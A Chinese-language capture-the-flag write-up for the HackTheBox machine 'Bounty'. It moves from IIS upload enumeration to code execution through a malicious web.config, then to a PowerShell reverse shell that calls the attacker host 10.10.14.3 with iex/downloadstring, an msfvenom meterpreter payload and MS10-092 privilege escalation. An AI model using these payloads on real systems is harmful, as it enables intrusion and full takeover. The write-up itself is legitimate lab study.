免责声明
本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责。
服务发现
┌──(root💀kali)-[~/htb/Bounty]
└─# nmap -sV -Pn 10.10.10.93 -p- 1 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-16 22:37 EST
Nmap scan report for 10.10.10.93
Host is up (0.27s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 360.04 seconds
目录爆破
└─# gobuster dir -u http://10.10.10.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -x aspx
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.93
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/12/16 22:44:15 Starting gobuster in directory enumeration mode
===============================================================
/transfer.aspx (Status: 200)
/aspnet_client (Status: 301) [Size: 156] [--> http://10.10.10.93/aspnet_client/]
/uploadedfiles (Status: 301) [Size: 156] [--> http://10.10.10.93/uploadedfiles/]
===============================================================
2021/12/16 22:46:25 Finished
===============================================================
transfer.aspx是一个文件上传页面
所有成功上传的文件都会到uploadedfiles下，不过这个目录下的文件过一段时间（几十秒）就会被删除
使用burpsuite，截断上传页面信息，使用intruder，爆破扩展名，发现允许上传的扩展名包括:gif,jpg,png,config
查了下IIS7.5下有一个畸形解析漏洞，但是好像无法复现
试过传图片码，各种截断，但是好像无法绕过
在谷歌上搜索IIS httpd 7.5 upload rce
找到了这篇文章
可以上传一个web.config文件，在注释里执行asp代码
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<!–-
<% Response.write("-"&"->")
Response.write("<pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("ipconfig")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><!-"&"-") %>
-–>
上面文件上传以后访问http://10.10.10.93/uploadedfiles/web.config成功打印ipconfig命令
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.10.10.93
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2
Tunnel adapter isatap.{27C3F487-28AC-4CE6-AE3A-1F23518EF7A7}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
下面我们准备一个反弹shell，把github上的这个脚本下载到本地，并且在脚本最下方加入一行代码：
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 4242
把web.config编辑成以下payload
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<!–-
<% Response.write("-"&"->")
Response.write("<pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.3/Invoke-PowerShellTcp.ps1')")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><!-"&"-") %>
-–>
在本地开启一个http服务，准备传送Invoke-PowerShellTcp.ps1
python3 -m http.server 80
kali开启监听接收反弹shell
nc -lnvp 4242
上传以后，打开http://10.10.10.93/uploadedfiles/web.config页面，拿到初始shell
┌──(root💀kali)-[~/htb/Bounty]
└─# nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.93] 49158
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv>whoami
bounty\merlin
拿到了初始shell
然而无法找到user.txt
提权
webshell不太稳定，我们编译一个稳定的meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f exe > shell64.exe
在靶机依次执行下面两行代码，把shell下载到靶机
$client = new-object System.Net.WebClient
$client.DownloadFile('http://10.10.14.3:8000/shell64.exe', 'C:\users\merlin\Desktop\shell64.exe')
powershell执行exe文件
&"C:\users\merlin\Desktop\shell64.exe"
拿到meterpreter以后，把winPEAS.bat 传到靶机，枚举提权漏洞
"Microsoft Windows Server 2008 R2 Datacenter "
[i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
MS11-080 patch is NOT installed XP/SP3,2K3/SP3-afd.sys)
MS16-032 patch is NOT installed 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
MS11-011 patch is NOT installed XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
MS10-59 patch is NOT installed 2K8,Vista,7/SP0-Chimichurri)
MS10-21 patch is NOT installed 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
MS10-092 patch is NOT installed 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
MS10-073 patch is NOT installed XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
MS17-017 patch is NOT installed 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
MS10-015 patch is NOT installed 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
MS08-025 patch is NOT installed 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
MS06-049 patch is NOT installed 2K/SP4-ZwQuerySysInfo)
MS06-030 patch is NOT installed 2K,XP/SP2-Mrxsmb.sys)
MS05-055 patch is NOT installed 2K/SP4-APC Data-Free)
MS05-018 patch is NOT installed 2K/SP3/4,XP/SP1/2-CSRSS)
MS04-019 patch is NOT installed 2K/SP2/3/4-Utility Manager)
MS04-011 patch is NOT installed 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
MS04-020 patch is NOT installed 2K/SP4-POSIX)
MS14-040 patch is NOT installed 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
MS16-016 patch is NOT installed 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
MS15-051 patch is NOT installed 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
MS14-070 patch is NOT installed 2K3/SP2-TCP/IP)
MS13-005 patch is NOT installed Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
MS13-053 patch is NOT installed 7SP0/SP1_x86-schlamperei)
MS13-081 patch is NOT installed 7SP0/SP1_x86-track_popup_menu)
可以看见靶机很多补丁没有安装，逐个枚举，使用MS10-092
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > search MS10-092
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/ms10_092_schelevator 2010-09-13 excellent Yes Windows Escalate Task Scheduler XML Privilege Escalation
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/ms10_092_schelevator
提权
msf6 exploit(windows/local/ms10_092_schelevator) > run
[*] Started reverse TCP handler on 10.10.14.3:4444
[*] Preparing payload at C:\Windows\TEMP\AoTizOUxSB.exe
[*] Creating task: LXJM4TwyEqICqyv
[*] SUCCESS: The scheduled task "LXJM4TwyEqICqyv" has successfully been created.
[*] SCHELEVATOR
[*] Reading the task file contents from C:\Windows\system32\tasks\LXJM4TwyEqICqyv...
[*] Original CRC32: 0x866f314a
[*] Final CRC32: 0x866f314a
[*] Writing our modified content back...
[*] Validating task: LXJM4TwyEqICqyv
[*]
[*] Folder: \
[*] TaskName Next Run Time Status
[*] ======================================== ====================== ===============
[*] LXJM4TwyEqICqyv 1/1/2022 5:38:00 AM Ready
[*] SCHELEVATOR
[*] Disabling the task...
[*] SUCCESS: The parameters of scheduled task "LXJM4TwyEqICqyv" have been changed.
[*] SCHELEVATOR
[*] Enabling the task...
[*] SUCCESS: The parameters of scheduled task "LXJM4TwyEqICqyv" have been changed.
[*] SCHELEVATOR
[*] Executing the task...
[*] Sending stage (175174 bytes) to 10.10.10.93
[*] SUCCESS: Attempted to run the scheduled task "LXJM4TwyEqICqyv".
[*] SCHELEVATOR
[*] Deleting the task...
[*] Meterpreter session 2 opened (10.10.14.3:4444 -> 10.10.10.93:49175) at 2021-12-20 22:38:40 -0500
[*] SUCCESS: The scheduled task "LXJM4TwyEqICqyv" was successfully deleted.
[*] SCHELEVATOR
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
已经拿到SYSTEM权限，至此我们可以读取系统内任何文件。
user.txt在普通用户权限下无法查看到，但是在system下是可以的。
meterpreter > search -f user.txt
Found 1 result...
c:\Users\merlin\Desktop\user.txt (32 bytes)
meterpreter > search -f root.txt
Found 1 result...
c:\Users\Administrator\Desktop\root.txt (32 bytes)
总结
本文渗透的是windows主机，nmap扫描出中间件是IIS7.5，通过网页信息知道靶机运行aspx程序
爆破时选择字典指定了扩展名aspx
当得知有一个上传点时，优先需要知道中间件的解析漏洞信息，以及rce利用信息
通过rce得到初始shell
提权的时候，看到初始用户开启了SeImpersonatePrivilege,也可以考虑用potato提权
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